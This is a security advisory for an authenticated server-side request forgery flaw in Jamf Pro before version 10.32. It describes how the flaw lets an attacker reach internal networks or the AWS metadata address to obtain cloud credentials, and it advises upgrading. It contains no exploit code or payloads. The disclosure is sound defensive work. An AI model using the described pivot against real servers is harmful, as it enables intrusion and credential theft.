Advisory: Jamf Pro SSRF - CVE-2021-39303 & CVE-2021-40809

Summary

Jamf Pro before version 10.32 is vulnerable to a server-side request forgery vulnerability, that allows attackers to request arbitrary URLs and read the full HTTP response for these requests. This vulnerability is only exploitable after an attacker has authenticated to the Jamf Pro instance. On cloud environments such as AWS, this poses a greater risk as an attacker can potentially obtain AWS credentials via the metadata IP address.

Impact

An attacker can request arbitrary URLs on behalf of the Jamf Pro server. This could allow an attacker to pivot to the internal network and/or request cloud metadata endpoints to obtain cloud credentials. As Jamf Pro is often deployed on-premise within an internal network, this vulnerability exposes this internal network to authenticated Jamf Pro users.

Affected Software

Jamf Pro before version 10.32.

Product Description

Jamf Pro is an application used by system administrators to configure and automate IT administration tasks for macOS, iOS, iPadOS, and tvOS devices. Jamf offers on-premises and cloud-based mobile device management.

Solution

This vulnerability was patched in Jamf 10.32.

Please find the detail about this Jamf release here: https://community.jamf.com/t5/jamf-pro/what-s-new-in-jamf-pro-10-32-release/m-p/246505.

In order to remediate this vulnerability, we recommend upgrading to the latest version of Jamf Pro on premise.
